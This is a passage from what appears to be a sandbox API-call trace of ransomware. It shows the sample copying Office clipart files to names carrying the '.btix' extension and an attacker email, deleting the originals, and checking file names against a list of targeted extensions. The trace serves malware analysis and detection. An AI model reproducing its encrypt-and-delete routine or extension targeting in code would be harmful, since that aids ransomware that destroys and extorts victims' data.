returned 1 [0159.417] SetEndOfFile (hFile=0x338) returned 1 [0159.417] CloseHandle (hObject=0x338) returned 1 [0159.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf")) returned 1 [0159.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0159.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0159.418] lstrlenW (lpString=".doc") returned 4 [0159.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.418] lstrlenW (lpString=".docx") returned 5 [0159.418] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.418] lstrlenW (lpString=".pdf") returned 4 [0159.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.418] lstrlenW (lpString=".xls") returned 4 [0159.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.418] lstrlenW (lpString=".xlsx") returned 5 [0159.418] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.419] lstrlenW (lpString=".ppt") returned 4 [0159.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0159.419] lstrlenW (lpString=".zip") returned 4 [0159.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.419] lstrlenW (lpString=".rar") returned 4 [0159.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.419] lstrlenW (lpString=".bz2") returned 4 [0159.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.419] lstrlenW (lpString=".7z") returned 3 [0159.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0159.419] lstrlenW (lpString=".dbf") returned 4 [0159.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0159.419] lstrlenW (lpString=".1cd") returned 4 [0159.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0159.419] lstrlenW (lpString=".jpg") returned 4 [0159.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.419] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.419] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239057.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.420] GetLastError () returned 0x0 [0159.420] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1284, lpOverlapped=0x0) returned 1 [0159.421] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1290, lpOverlapped=0x0) returned 1 [0159.422] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.422] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.422] SetEndOfFile (hFile=0x370) returned 1 [0159.422] CloseHandle (hObject=0x370) returned 1 [0159.423] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.423] SetEndOfFile (hFile=0x338) returned 1 [0159.423] CloseHandle (hObject=0x338) returned 1 [0159.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239057.wmf")) returned 1 [0159.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF") returned 68 [0159.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF") returned 68 [0159.424] lstrlenW (lpString=".doc") returned 4 [0159.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.424] lstrlenW (lpString=".docx") returned 5 [0159.424] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0159.424] lstrlenW (lpString=".pdf") returned 4 [0159.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.424] lstrlenW (lpString=".xls") returned 4 [0159.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.424] lstrlenW (lpString=".xlsx") returned 5 [0159.424] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0159.424] lstrlenW (lpString=".ppt") returned 4 [0159.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF") returned 68 [0159.424] lstrlenW (lpString=".zip") returned 4 [0159.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.425] lstrlenW (lpString=".rar") returned 4 [0159.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.425] lstrlenW (lpString=".bz2") returned 4 [0159.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.425] lstrlenW (lpString=".7z") returned 3 [0159.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF") returned 68 [0159.425] lstrlenW (lpString=".dbf") returned 4 [0159.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF") returned 68 [0159.425] lstrlenW (lpString=".1cd") returned 4 [0159.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239057.WMF") returned 68 [0159.425] lstrlenW (lpString=".jpg") returned 4 [0159.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.425] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.425] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.426] GetLastError () returned 0x0 [0159.426] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x16fc, lpOverlapped=0x0) returned 1 [0159.427] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1700, lpOverlapped=0x0) returned 1 [0159.428] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.428] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.428] SetEndOfFile (hFile=0x370) returned 1 [0159.428] CloseHandle (hObject=0x370) returned 1 [0159.429] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.429] SetEndOfFile (hFile=0x338) returned 1 [0159.429] CloseHandle (hObject=0x338) returned 1 [0159.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239063.wmf")) returned 1 [0159.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0159.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0159.430] lstrlenW (lpString=".doc") returned 4 [0159.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.430] lstrlenW (lpString=".docx") returned 5 [0159.430] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.430] lstrlenW (lpString=".pdf") returned 4 [0159.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.430] lstrlenW (lpString=".xls") returned 4 [0159.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.430] lstrlenW (lpString=".xlsx") returned 5 [0159.430] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.430] lstrlenW (lpString=".ppt") returned 4 [0159.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0159.430] lstrlenW (lpString=".zip") returned 4 [0159.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.430] lstrlenW (lpString=".rar") returned 4 [0159.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.431] lstrlenW (lpString=".bz2") returned 4 [0159.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.431] lstrlenW (lpString=".7z") returned 3 [0159.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0159.431] lstrlenW (lpString=".dbf") returned 4 [0159.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0159.431] lstrlenW (lpString=".1cd") returned 4 [0159.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239063.WMF") returned 68 [0159.431] lstrlenW (lpString=".jpg") returned 4 [0159.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.432] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.432] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.432] GetLastError () returned 0x0 [0159.432] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1294, lpOverlapped=0x0) returned 1 [0159.434] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x12a0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x12a0, lpOverlapped=0x0) returned 1 [0159.434] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.435] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.435] SetEndOfFile (hFile=0x370) returned 1 [0159.435] CloseHandle (hObject=0x370) returned 1 [0159.435] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.435] SetEndOfFile (hFile=0x338) returned 1 [0159.436] CloseHandle (hObject=0x338) returned 1 [0159.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239079.wmf")) returned 1 [0159.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0159.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0159.436] lstrlenW (lpString=".doc") returned 4 [0159.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.436] lstrlenW (lpString=".docx") returned 5 [0159.436] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0159.436] lstrlenW (lpString=".pdf") returned 4 [0159.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.437] lstrlenW (lpString=".xls") returned 4 [0159.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.437] lstrlenW (lpString=".xlsx") returned 5 [0159.437] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0159.437] lstrlenW (lpString=".ppt") returned 4 [0159.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0159.437] lstrlenW (lpString=".zip") returned 4 [0159.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.437] lstrlenW (lpString=".rar") returned 4 [0159.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.437] lstrlenW (lpString=".bz2") returned 4 [0159.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.437] lstrlenW (lpString=".7z") returned 3 [0159.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0159.437] lstrlenW (lpString=".dbf") returned 4 [0159.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0159.437] lstrlenW (lpString=".1cd") returned 4 [0159.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239079.WMF") returned 68 [0159.437] lstrlenW (lpString=".jpg") returned 4 [0159.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.438] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.438] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.438] GetLastError () returned 0x0 [0159.438] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1464, lpOverlapped=0x0) returned 1 [0159.440] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1470, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1470, lpOverlapped=0x0) returned 1 [0159.441] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.441] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.441] SetEndOfFile (hFile=0x370) returned 1 [0159.441] CloseHandle (hObject=0x370) returned 1 [0159.442] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.442] SetEndOfFile (hFile=0x338) returned 1 [0159.442] CloseHandle (hObject=0x338) returned 1 [0159.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239191.wmf")) returned 1 [0159.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0159.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0159.443] lstrlenW (lpString=".doc") returned 4 [0159.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString=".docx") returned 5 [0159.443] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0159.443] lstrlenW (lpString=".pdf") returned 4 [0159.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString=".xls") returned 4 [0159.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.443] lstrlenW (lpString=".xlsx") returned 5 [0159.443] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0159.443] lstrlenW (lpString=".ppt") returned 4 [0159.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0159.443] lstrlenW (lpString=".zip") returned 4 [0159.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.444] lstrlenW (lpString=".rar") returned 4 [0159.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString=".bz2") returned 4 [0159.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString=".7z") returned 3 [0159.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0159.444] lstrlenW (lpString=".dbf") returned 4 [0159.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0159.444] lstrlenW (lpString=".1cd") returned 4 [0159.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239191.WMF") returned 68 [0159.444] lstrlenW (lpString=".jpg") returned 4 [0159.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.445] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.445] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239611.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.446] GetLastError () returned 0x0 [0159.446] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x8424, lpOverlapped=0x0) returned 1 [0159.689] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x8430, lpOverlapped=0x0) returned 1 [0159.704] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.704] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.704] SetEndOfFile (hFile=0x370) returned 1 [0159.704] CloseHandle (hObject=0x370) returned 1 [0159.704] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.704] SetEndOfFile (hFile=0x338) returned 1 [0159.705] CloseHandle (hObject=0x338) returned 1 [0159.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239611.wmf")) returned 1 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF") returned 68 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF") returned 68 [0159.936] lstrlenW (lpString=".doc") returned 4 [0159.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString=".docx") returned 5 [0159.936] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0159.936] lstrlenW (lpString=".pdf") returned 4 [0159.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString=".xls") returned 4 [0159.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.936] lstrlenW (lpString=".xlsx") returned 5 [0159.936] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0159.936] lstrlenW (lpString=".ppt") returned 4 [0159.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF") returned 68 [0159.936] lstrlenW (lpString=".zip") returned 4 [0159.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.936] lstrlenW (lpString=".rar") returned 4 [0159.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.937] lstrlenW (lpString=".bz2") returned 4 [0159.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.937] lstrlenW (lpString=".7z") returned 3 [0159.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239611.WMF") returned 68 [0159.937] lstrlenW (lpString=".dbf") returned 4 [0159.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.937] lstrlenW (lpString="C:\\Program 